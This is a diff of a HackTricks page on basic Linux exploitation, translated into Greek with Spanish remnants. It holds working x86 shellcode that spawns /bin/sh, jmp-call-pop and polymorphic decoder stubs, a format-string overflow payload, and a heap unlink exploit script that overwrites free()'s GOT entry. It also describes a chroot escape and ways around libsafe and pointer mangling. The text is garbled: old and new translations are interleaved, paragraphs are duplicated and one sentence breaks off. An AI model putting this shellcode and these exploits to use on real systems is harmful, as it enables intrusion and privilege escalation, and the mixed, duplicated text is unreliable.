Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
Χρησιμοποιήστε [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε και να **αυτοματοποιήσετε ροές εργασίας** με τη βοήθεια των **πιο προηγμένων** εργαλείων της κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στο** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) ή στο [**telegram group**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,37 +1,38 @@
# Linux Exploiting (Βασικό) (SPA)
# Linux Exploiting (Basic) (SPA)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## **2.SHELLCODE**
Ver interrupciones de kernel: cat /usr/include/i386-linux-gnu/asm/unistd\_32.h | grep “\_\_NR\_”
Δείτε διακοπές πυρήνα: cat /usr/include/i386-linux-gnu/asm/unistd\_32.h | grep “\_\_NR\_”
setreuid(0,0); // \_\_NR\_setreuid 70\
execve(“/bin/sh”, args\[], NULL); // \_\_NR\_execve 11\
exit(0); // \_\_NR\_exit 1
xor eax, eax ; limpiamos eax\
xor ebx, ebx ; ebx = 0 pues no hay argumento que pasar\
xor eax, eax ; καθαρίζουμε το eax\
xor ebx, ebx ; ebx = 0 καθώς δεν υπάρχει επιχείρημα να περάσουμε\
mov al, 0x01 ; eax = 1 —> \_\_NR\_exit 1\
int 0x80 ; Ejecutar syscall
int 0x80 ; Εκτέλεση syscall
**nasm -f elf assembly.asm** —> Nos devuelve un .o\
**ld assembly.o -o shellcodeout** —> Nos da un ejecutable formado por el código ensamblador y podemos sacar los opcodes con **objdump**\
**objdump -d -Mintel ./shellcodeout** —> Para ver que efectivamente es nuestra shellcode y sacar los OpCodes
**nasm -f elf assembly.asm** —> Μας επιστρέφει ένα .o\
**ld assembly.o -o shellcodeout** —> Μας δίνει ένα εκτελέσιμο που σχηματίζεται από τον κώδικα συναρμολόγησης και μπορούμε να πάρουμε τους opcodes με **objdump**\
**objdump -d -Mintel ./shellcodeout** —> Για να δούμε ότι είναι πράγματι η shellcode μας και να πάρουμε τους OpCodes
**Comprobar que la shellcode funciona**
**Ελέγξτε ότι η shellcode λειτουργεί**
```
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
@ -41,11 +42,11 @@ fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
```
Για να ελέγξετε αν οι κλήσεις συστήματος γίνονται σωστά, πρέπει να μεταγλωττίσετε το πρόγραμμα παραπάνω και οι κλήσεις συστήματος πρέπει να εμφανιστούν στο **strace ./ΠΡΟΓΡΑΜΜΑ_ΜΕΤΑΓΛΩΤΤΙΣΜΕΝΟ**
Για να δούμε ότι οι κλήσεις συστήματος εκτελούνται σωστά, πρέπει να μεταγλωττίσουμε το προηγούμενο πρόγραμμα και οι κλήσεις συστήματος πρέπει να εμφανίζονται σε **strace ./PROGRAMA\_COMPILADO**
Κατά τη δημιουργία shellcodes μπορεί να γίνει ένα κόλπο. Η πρώτη εντολή είναι ένα jump σε ένα call. Το call καλεί τον αρχικό κώδικα και επιπλέον τοποθετεί το EIP στο stack. Μετά την εντολή call έχουμε τοποθετήσει το string που χρειαζόμαστε, έτσι με αυτό το EIP μπορούμε να δείξουμε στο string και να συνεχίσουμε να εκτελούμε τον κώδικα.
Όταν δημιουργούμε shellcodes, μπορούμε να κάνουμε ένα κόλπο. Η πρώτη εντολή είναι ένα jump σε ένα call. Το call καλεί τον αρχικό κώδικα και επιπλέον βάζει στο stack το EIP. Μετά από την εντολή call έχουμε βάλει το string που χρειαζόμαστε, οπότε με αυτό το EIP μπορούμε να δείξουμε στο string και επιπλέον να συνεχίσουμε την εκτέλεση του κώδικα.
Π.χ. **ΚΟΛΠΟ (/bin/sh)**:
ΕJ **ΚΟΛΠΟ (/bin/sh)**:
```
jmp 0x1f ; Salto al último call
popl %esi ; Guardamos en ese la dirección al string
@ -65,7 +66,7 @@ int $0x80 ; exit(0)
call -0x24 ; Salto a la primera instrución
.string \”/bin/sh\” ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
```
**Χρήση του Stack(/bin/sh):**
**EJ χρησιμοποιώντας το Stack(/bin/sh):**
```
section .text
global _start
@ -86,20 +87,20 @@ mov ecx, esp ; arg2 = args[]
mov al, 0x0b ; Syscall 11
int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
```
**ΕΚΤΕΛΕΣΗ FNSTENV:**
**EJ FNSTENV:**
```
fabs
fnstenv [esp-0x0c]
pop eax ; Guarda el EIP en el que se ejecutó fabs
```
**Κυνηγός Αυγών:**
**Egg Huter:**
Αυτό είναι ένα μικρό κομμάτι κώδικα που διατρέχει τις σελίδες μνήμης που σχετίζονται με ένα διεργασία σε αναζήτηση του shellcode που είναι αποθηκευμένο εκεί (ψάχνει για κάποια υπογραφή που έχει το shellcode). Χρήσιμο σε περιπτώσεις όπου υπάρχει μικρός χώρος για να ενθετηθεί κώδικας.
Αποτελείται από έναν μικρό κώδικα που διασχίζει τις σελίδες μνήμης που σχετίζονται με μια διαδικασία αναζητώντας τη shellcode που είναι αποθηκευμένη εκεί (αναζητά κάποια υπογραφή που έχει τοποθετηθεί στη shellcode). Χρήσιμο σε περιπτώσεις όπου υπάρχει μόνο ένας μικρός χώρος για την έγχυση κώδικα.
**Πολυμορφικά Shellcodes**
**Shellcodes polimórficos**
Αυτά είναι κρυπτογραφημένα shellcodes που περιέχουν ένα μικρό κομμάτι κώδικα που τα αποκρυπτογραφεί και αλλάζει σε αυτό, χρησιμοποιώντας το κόλπο του Call-Pop, αυτό θα ήταν ένα **παράδειγμα κρυπτογράφησης μετατόπισης**:
Αποτελούνται από κωδικούς shell που είναι κρυπτογραφημένοι και περιέχουν έναν μικρό κώδικα που τους αποκρυπτογραφεί και πηδά σε αυτόν, χρησιμοποιώντας το κόλπο Call-Pop αυτό θα ήταν ένα **παράδειγμα κρυπτογραφημένου κωδικού cesar**:
```
global _start
_start:
@ -118,116 +119,138 @@ call init
sc:
;Aquí va el shellcode
```
## **5. Συμπληρωματικές μεθόδοι**
## **5.Συμπληρωματικές μέθοδοι**
**Τεχνική του Murat**
Στο Linux, όλα τα προγράμματα χαρτογραφούνται ξεκινώντας από το 0xbfffffff.
Στο linux όλα τα προγράμματα χαρτογραφούνται ξεκινώντας από 0xbfffffff
Παρατηρώντας πως δημιουργείται η στοίβα ενός νέου διεργασίας στο Linux, μπορεί να αναπτυχθεί ένα exploit έτσι ώστε το πρόγραμμα να εκκινείται σε ένα περιβάλλον όπου η μοναδική μεταβλητή είναι η shellcode. Η διεύθυνση αυτή μπορεί να υπολογιστεί ως: addr = 0xbfffffff - 4 - strlen(NOMBRE_ejecutable_completo) - strlen(shellcode).
Βλέποντας πώς κατασκευάζεται η στοίβα μιας νέας διαδικασίας στο linux, μπορεί να αναπτυχθεί ένα exploit με τέτοιο τρόπο ώστε το πρόγραμμα να εκκινείται σε ένα περιβάλλον του οποίου η μοναδική μεταβλητή είναι η shellcode. Η διεύθυνση αυτής μπορεί να υπολογιστεί ως: addr = 0xbfffffff - 4 - strlen(ΟΝΟΜΑ\_εκτελέσιμου\_αρχείου) - strlen(shellcode)
Με αυτόν τον τρόπο, μπορεί να αποκτηθεί εύκολα η διεύθυνση όπου βρίσκεται η μεταβλητή περιβάλλοντος με τη shellcode.
Με αυτόν τον τρόπο θα αποκτηθεί απλά η διεύθυνση όπου βρίσκεται η μεταβλητή περιβάλλοντος με τη shellcode.
Αυτό είναι δυνατό λόγω του ότι η συνάρτηση execle επιτρέπει τη δημιουργία ενός περιβάλλοντος που έχει μόνο τις μεταβλητές περιβάλλοντος που επιθυμούνται.
Αυτό μπορεί να γίνει χάρη στο γεγονός ότι η συνάρτηση execle επιτρέπει τη δημιουργία ενός περιβάλλοντος που να έχει μόνο τις επιθυμητές μεταβλητές περιβάλλοντος.
### **Δομή \_\_atexit**
### **Format Strings to Buffer Overflows**
Η **sprintf moves** μια μορφοποιημένη συμβολοσειρά **σε** μια **μεταβλητή.** Επομένως, θα μπορούσατε να εκμεταλλευτείτε τη **μορφοποίηση** μιας συμβολοσειράς για να προκαλέσετε μια **buffer overflow στη μεταβλητή** όπου αντιγράφεται το περιεχόμενο.\
Για παράδειγμα, το payload `%.44xAAAA` θα **γράψει 44B+"AAAA" στη μεταβλητή**, γεγονός που μπορεί να προκαλέσει μια buffer overflow.
### **\_\_atexit Structures**
{% hint style="danger" %}
Σήμερα είναι πολύ περίεργο να εκμεταλλευτείτε αυτό.
Σήμερα είναι πολύ **περίεργο να εκμεταλλευτείς αυτό**.
{% endhint %}
Η **`atexit()`** είναι μια συνάρτηση στην οποία **περνιούνται άλλες συναρτήσεις ως παράμετροι**. Αυτές οι **συναρτήσεις** θα **εκτελεστούν** κατά την εκτέλεση ενός **`exit()`** ή την **επιστροφή** από το **κύριο πρόγραμμα**.
Αν μπορείτε να **τροποποιήσετε** τη **διεύθυνση** μιας από αυτές τις **συναρτήσεις** ώστε να δείχνει σε μια shellcode για παράδειγμα, τότε θα **κερδίσετε έλεγχο** της **διεργασίας**, αλλά αυτό είναι πιο περίπλοκο αυτή τη στιγμή.
Προς το παρόν, οι **διευθύνσεις των συναρτήσεων** που πρόκειται να εκτελεστούν είναι **κρυμμένες** πίσω από αρκετές δομές και τελικά η διεύθυνση στην οποία δείχνουν δεν είναι οι διευθύνσεις των συναρτήσεων, αλλά είναι **κρυπτογραφημένες με XOR** και μετατοπίσεις με ένα **τυχαίο κλειδί**. Έτσι, αυτός ο διανυσματικός επιθετικός δεν είναι πολύ χρήσιμος τουλάχιστον σε x86 και x64_86.
**`atexit()`** είναι μια συνάρτηση στην οποία **άλλες συναρτήσεις περνιούνται ως παράμετροι.** Αυτές οι **συναρτήσεις** θα **εκτελούνται** κατά την εκτέλεση μιας **`exit()`** ή της **επιστροφής** της **κύριας**.\
Εάν μπορείτε να **τροποποιήσετε** τη **διεύθυνση** οποιασδήποτε από αυτές τις **συναρτήσεις** ώστε να δείχνει σε μια shellcode, για παράδειγμα, θα **κερδίσετε έλεγχο** της **διαδικασίας**, αλλά αυτό είναι αυτή τη στιγμή πιο περίπλοκο.\
Αυτή τη στιγμή οι **διευθύνσεις στις συναρτήσεις** που θα εκτελούνται είναι **κρυμμένες** πίσω από πολλές δομές και τελικά η διεύθυνση στην οποία δείχνουν δεν είναι οι διευθύνσεις των συναρτήσεων, αλλά είναι **κρυπτογραφημένες με XOR** και μετατοπίσεις με μια **τυχαία κλειδί**. Έτσι, αυτή τη στιγμή αυτός ο επιθετικός παράγοντας δεν είναι **πολύ χρήσιμος τουλάχιστον σε x86** και **x64\_86**.\
Η **συνάρτηση κρυπτογράφησης** είναι **`PTR_MANGLE`**. **Άλλες αρχιτεκτονικές** όπως m68k, mips32, mips64, aarch64, arm, hppa... **δεν υλοποιούν τη συνάρτηση κρυπτογράφησης** γιατί **επιστρέφει το ίδιο** με αυτό που έλαβε ως είσοδο. Έτσι, αυτές οι αρχιτεκτονικές θα μπορούσαν να επιτεθούν μέσω αυτού του παράγοντα.
### **setjmp() & longjmp()**
{% hint style="danger" %}
Σήμερα είναι πολύ περίεργο να εκμεταλλευτείτε αυτό.
Σήμερα είναι πολύ **περίεργο να εκμεταλλευτείς αυτό**.
{% endhint %}
Το **`Setjmp()`** επιτρέπει να **αποθηκεύσετε** το **πλαίσιο** (τα καταχωρητές)\
Το **`longjmp()`** επιτρέπει να **επαναφέρετε** το **πλαίσιο**.\
Τα **αποθηκευμένα καταχωρητές** είναι: `EBX, ESI, EDI, ESP, EIP, EBP`\
Αυτό που συμβαίνει είναι ότι τα EIP και ESP περνιούνται από τη **συνάρτηση `PTR_MANGLE`**, οπότε η **αρχιτεκτονική ευάλωτη σε αυτήν την επίθεση είναι η ίδια με παραπάνω**.
**`Setjmp()`** επιτρέπει να **αποθηκεύσετε** το **περιβάλλον** (τους καταχωρητές)\
**`longjmp()`** επιτρέπει να **αποκαταστήσετε** το **περιβάλλον**.\
Οι **αποθηκευμένοι καταχωρητές** είναι: `EBX, ESI, EDI, ESP, EIP, EBP`\
Αυτό που συμβαίνει είναι ότι το EIP και το ESP περνιούνται από τη **συνάρτηση `PTR_MANGLE`**, οπότε οι **αρχιτεκτονικές ευάλωτες σε αυτήν την επίθεση είναι οι ίδιες με τις παραπάνω**.\
Είναι χρήσιμες για αποκατάσταση σφαλμάτων ή διακοπές.\
Ωστόσο, από όσα έχω διαβάσει, οι άλλοι καταχωρητές δεν είναι προστατευμένοι, **έτσι αν υπάρχει μια `call ebx`, `call esi` ή `call edi`** μέσα στη συνάρτηση που καλείται, μπορεί να αναληφθεί ο έλεγχος. Ή θα μπορούσατε επίσης να τροποποιήσετε το EBP για να τροποποιήσετε το ESP.
Είναι χρήσιμα για ανάκτηση σφαλμάτων ή διακοπές.\
Ωστόσο, από ό,τι έχω διαβάσει, οι άλλοι καταχωρητές δεν προστατεύονται, **έτσι αν υπάρχει ένα `call ebx`, `call esi` ή `call edi`** μέσα στη συνάρτηση που καλείται, μπορεί να πάρει τον έλεγχο. Ή μπορείτε επίσης να τροποποιήσετε τον EBP για να τροποποιήσετε το ESP.
**VTable και VPTR σε C++**
**VTable και VPTR στο C++**
Κάθε κλάση έχει μια **Vtable** που είναι ένας πίνακας **δεικτών σε μεθόδους**.
Κάθε κλάση έχει μια **Vtable** που είναι ένας πίνακας με **pointers σε μεθόδους**.
Κάθε αντικείμενο μιας **κλάσης** έχει ένα **VPtr** που είναι ένας **δείκτης** στον πίνακα της κλάσης του. Το VPtr είναι μέρος της κεφαλίδας κάθε αντικειμένου, οπότε αν επιτευχθεί μια **υπεργραφή** του **VPtr** μπορεί να **τροποποιηθεί** ώστε να **δείχνει** σε μια ψεύτικη μέθοδο έτσι ώστε η εκτέλεση μιας συνάρτησης να πηγαίνει στη shellcode.
Κάθε αντικείμενο μιας **κλάσης** έχει ένα **VPtr** που είναι ένας **δείκτης** στον πίνακα της κλάσης του. Το VPtr είναι μέρος της κεφαλίδας κάθε αντικειμένου, οπότε αν μια **αντικατάσταση** του **VPtr** επιτευχθεί, μπορεί να **τροποποιηθεί** ώστε να δείχνει σε μια ψεύτικη μέθοδο, έτσι ώστε η εκτέλεση μιας συνάρτησης να πάει στη shellcode.
## **Προληπτικά μέτρα και αποφυγές**
## **Προληπτικά μέτρα και παρακάμψεις**
**Αντικατάσταση του Libsafe**
Ενεργοποιείται με: LD_PRELOAD=/lib/libsafe.so.2\
Ενεργοποιείται με: LD\_PRELOAD=/lib/libsafe.so.2\
ή\
“/lib/libsave.so.2” > /etc/ld.so.preload
Ορισμένες επικίνδυνες κλήσεις συναρτήσεων αντικαθίστανται με ασφαλείς. Δεν είναι τυποποιημένο. (μόνο για x86, όχι για συναθροίσεις με -fomit-frame-pointer, όχι στατικές συναθροίσεις, όχι όλες οι ευάλωτες συναρτήσεις γίνονται ασφαλείς και το LD_PRELOAD δεν λειτουργεί σε δυαδικά με suid).
Εμποδίζει τις κλήσεις σε ορισμένες ανασφαλείς συναρτήσεις με άλλες ασφαλείς. Δεν είναι τυποποιημένο. (μόνο για x86, όχι για μεταγλωττίσεις με -fomit-frame-pointer, όχι στατικές μεταγλωττίσεις, όχι όλες οι ευάλωτες συναρτήσεις γίνονται ασφαλείς και το LD\_PRELOAD δεν λειτουργεί σε δυαδικά με suid).
**ASCII Armored Address Space**
Αφορά τη φόρτωση κοινόχρηστων βιβλιοθηκών από το 0x00000000 έως το 0x00ffffff ώστε να υπάρχει πάντα ένα byte 0x00. Ωστόσο, αυτό δεν σταματά σχεδόν καμία επίθεση, ειδικά σε little endian.
Συνίσταται στη φόρτωση των κοινών βιβλιοθηκών από 0x00000000 έως 0x00ffffff ώστε να υπάρχει πάντα ένα byte 0x00. Ωστόσο, αυτό πραγματικά δεν σταματά σχεδόν καμία επίθεση, και λιγότερο σε little endian.
**ret2plt**
Αποτελείται από την εκτέλεση ενός ROP έτσι ώστε να καλείται η συνάρτηση strcpy@plt (από την plt) και να δείχνει στην είσοδο της GOT και να αντιγράφει τον πρώτο byte της συνάρτησης που θέλετε να καλέσετε (system()). Στη συνέχεια, γίνεται το ίδιο δείχνοντας στο GOT+1 και αντιγράφοντας το 2ο byte του system()... Τελικά καλείται η διεύθυνση που αποθηκεύεται στο GOT που θα είναι το system().
Συνίσταται στην εκτέλεση ενός ROP ώστε να καλείται η συνάρτηση strcpy@plt (από την plt) και να δείχνει στην είσοδο της GOT και να αντιγράφει το πρώτο byte της συνάρτησης που θέλουμε να καλέσουμε (system()). Αμέσως μετά γίνεται το ίδιο δείχνοντας στο GOT+1 και αντιγράφεται το 2ο byte του system()… Στο τέλος καλείται η διεύθυνση που αποθηκεύτηκε στην GOT που θα είναι το system().
**Κλουβιά με chroot()**
debootstrap -arch=i386 hardy /home/user —> Εγκαθιστά ένα βασικό σύστημα σε ένα συγκεκριμένο υποκατάλογο
debootstrap -arch=i386 hardy /home/user —> Εγκαθιστά ένα βασικό σύστημα κάτω από έναν συγκεκριμένο υποκατάλογο
Ένας διαχειριστής μπορεί να βγει από αυτά τα κλουβιά κάνοντας: mkdir foo; chroot foo; cd ..
Ένας διαχειριστής μπορεί να βγει από ένα από αυτά τα κλουβιά κάνοντας: mkdir foo; chroot foo; cd ..
**Εργαλεία κώδικα**
**Εργαλειοποίηση κώδικα**
Valgrind —> Ανιχνεύει σφάλματα\
Valgrind —> Ψάχνει για σφάλματα\
Memcheck\
RAD (Return Address Defender)\
Insure++
## **8 Υπερχείλιση Σωρού: Βασικά Exploits**
## **8 Heap Overflows: Βασικά exploits**
**Κομμάτι που έχει εκχωρηθεί**
**Κατακερματισμένο κομμάτι**
prev_size |\
prev\_size |\
size | —Κεφαλίδα\
\*mem | Δεδομένα
**Ελεύθερο κομμάτι**
prev_size |\
prev\_size |\
size |\
\*fd | Δείκτης προς το εμπρός κομμάτι\
\*bk | Δείκτης προς το πίσω κομμάτι —Κεφαλίδα\
\*fd | Ptr forward chunk\
\*bk | Ptr back chunk —Κεφαλίδα\
\*mem | Δεδομένα
Τα ελεύθερα κομμάτια βρίσκονται σε μια λίστα διπλά συνδεδεμένη (bin) και δεν μπορούν να υπάρχουν δύο ελεύθερα κομμάτια δίπλα-δίπλα (συγχωνεύονται)
Τα ελεύθερα κομμάτια βρίσκονται σε μια διπλά συνδεδεμένη λίστα (bin) και δεν μπορούν ποτέ να υπάρχουν δύο ελεύθερα κομμάτια μαζί (συγχωνεύονται)
Στο "size" υπάρχουν bits για να υποδείξουν: Αν το προηγούμενο κομμάτι είναι σε χρήση, αν το κομμάτι έχει εκχωρηθεί μέσω του mmap() και αν το κομμάτι ανήκει στον κύριο χώρο.
Στο “size” υπάρχουν bits για να υποδείξουν: Εάν το προηγούμενο κομμάτι είναι σε χρήση, εάν το κομμάτι έχει ανατεθεί μέσω mmap() και εάν το κομμάτι ανήκει στην κύρια αρένα.
Όταν απελευθερώνετε ένα κομμάτι, αν κάποιο από τα γειτονικά είναι ελεύθερο, αυτά συγχωνεύονται μέσω της μακροεντολής unlink() και το μεγαλύτερο νέο κομμάτι περνιέται στο frontlink() για να εισαχθεί στον κατάλληλο bin.
Εάν κατά την απελευθέρωση ενός κομματιού κάποιο από τα γειτονικά είναι ελεύθερο, αυτά συγχωνεύονται μέσω της μακροεντολής unlink() και το νέο μεγαλύτερο κομμάτι περνάει στο frontlink() για να του εισαχθεί το κατάλληλο bin.
unlink(){\
BK = P->bk; —> Το BK του νέου κομματιού είναι αυτό που είχε το προηγούμενο ελεύθερο κομμάτι\
FD = P->fd; —> Το FD του νέου κομματιού είναι αυτό που είχε το προηγούμενο ελεύθερο κομμάτι\
FD->bk = BK; —> Το BK του επόμενου κομματιού δείχνει στο νέο κομμάτι\
BK->fd = FD; —> Το FD του προηγούμενου κομματιού δ
Καλώντας τη συνάρτηση unlink(), το P->fd θα χρησιμοποιηθεί ως τα πρώτα δεδομένα του 2ου κομματιού, οπότε εκεί θα εισαχθεί η διεύθυνση που θέλετε να αντικαταστήσετε - 12 (γιατί στο FD->bk θα προστεθεί 12 στη διεύθυνση που αποθηκεύεται στο FD). Και σε αυτή τη διεύθυνση θα εισαχθεί η δεύτερη διεύθυνση που βρίσκεται στο 2ο κομμάτι, η οποία θα είναι η διεύθυνση του shellcode (ψευδής P->bk).
BK = P->bk; —> Το BK του νέου chunk είναι αυτό που είχε το ήδη ελεύθερο\
FD = P->fd; —> Το FD του νέου chunk είναι αυτό που είχε το ήδη ελεύθερο\
FD->bk = BK; —> Το BK του επόμενου chunk δείχνει στο νέο chunk\
BK->fd = FD; —> Το FD του προηγούμενου chunk δείχνει στο νέο chunk\
}
Έτσι, αν καταφέρουμε να τροποποιήσουμε το P->bk με τη διεύθυνση μιας shellcode και το P->fd με τη διεύθυνση μιας εισόδου στην GOT ή DTORS λιγότερο από 12, επιτυγχάνεται:
BK = P->bk = \&shellcode\
FD = P->fd = &\_\_dtor\_end\_\_ - 12\
FD->bk = BK -> \*((&\_\_dtor\_end\_\_ - 12) + 12) = \&shellcode
Και έτσι εκτελείται η shellcode κατά την έξοδο από το πρόγραμμα.
Επιπλέον, η 4η δήλωση του unlink() γράφει κάτι και η shellcode πρέπει να είναι προσαρμοσμένη για αυτό:
BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor\_end\_\_ - 12) —> Αυτό προκαλεί την εγγραφή 4 bytes από το 8ο byte της shellcode, οπότε η πρώτη εντολή της shellcode πρέπει να είναι ένα jmp για να παραλείψει αυτό και να πέσει σε κάποια nops που θα οδηγήσουν στο υπόλοιπο της shellcode.
Έτσι, το exploit δημιουργείται:
Στο buffer1 βάζουμε τη shellcode ξεκινώντας με ένα jmp ώστε να πέσει σε nops ή στο υπόλοιπο της shellcode.
Μετά τη shellcode βάζουμε γέμισμα μέχρι να φτάσουμε στο πεδίο prev\_size και size του επόμενου κομματιού. Σε αυτές τις θέσεις βάζουμε 0xfffffff0 (έτσι ώστε να υπεργραφεί το prev\_size ώστε να έχει το bit που λέει ότι είναι ελεύθερο) και “-4“(0xfffffffc) στο size (έτσι ώστε όταν ελέγξει στο 3ο κομμάτι αν το 2ο ήταν ελεύθερο στην πραγματικότητα να πάει στο τροποποιημένο prev\_size που θα του πει ότι είναι ελεύθερο) -> Έτσι όταν το free() ερευνήσει θα πάει στο size του 3ου αλλά στην πραγματικότητα θα πάει στο 2ο - 4 και θα νομίζει ότι το 2ο κομμάτι είναι ελεύθερο. Και τότε θα καλέσει το **unlink()**.
Κατά την κλήση του unlink() θα χρησιμοποιήσει ως P->fd τα πρώτα δεδομένα του 2ου κομματιού, οπότε εκεί θα μπει η διεύθυνση που θέλουμε να υπεργράψουμε - 12 (διότι στο FD->bk θα προσθέσει 12 στη διεύθυνση που αποθηκεύτηκε στο FD). Και σε αυτή τη διεύθυνση θα εισαχθεί η δεύτερη διεύθυνση που θα βρει στο 2ο κομμάτι, που μας ενδιαφέρει να είναι η διεύθυνση της shellcode (P->bk ψεύτικο).
**from struct import \***
**import os**
**shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes padding**
**shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes de relleno**
**shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\**
@ -235,73 +258,73 @@ BK->fd = FD; —> Το FD του προηγούμενου κομματιού δ
**"\x80\xe8\xdc\xff\xff\xff/bin/sh";**
**prev\_size = pack("\<I”, 0xfffffff0) #Σημαντικό να είναι 1 το bit που υποδηλώνει ότι το προηγούμενο κομμάτι είναι ελεύθερο**
**prev\_size = pack("\<I”, 0xfffffff0) #Interesa que el bit que indica que el anterior trozo está libre esté a 1**
**fake\_size = pack("\<I”, 0xfffffffc) #-4, για να νομίζει ότι το "size" του 3ου κομματιού είναι 4bytes πίσω (δείχνει στο prev\_size) όπου ελέγχει αν το 2ο κομμάτι είναι ελεύθερο**
**fake\_size = pack("\<I”, 0xfffffffc) #-4, para que piense que el “size” del 3º trozo está 4bytes detrás (apunta a prev\_size) pues es ahí donde mira si el 2º trozo está libre**
**addr\_sc = pack("\<I", 0x0804a008 + 8) #Στο payload στην αρχή θα βάλουμε 8bytes padding**
**addr\_sc = pack("\<I", 0x0804a008 + 8) #En el payload al principio le vamos a poner 8bytes de relleno**
**got\_free = pack("\<I", 0x08048300 - 12) #Διεύθυνση της free() στο plt-12 (θα είναι η διεύθυνση που θα αντικατασταθεί για να εκτελεστεί το shellcode τη 2η φορά που καλείται η free)**
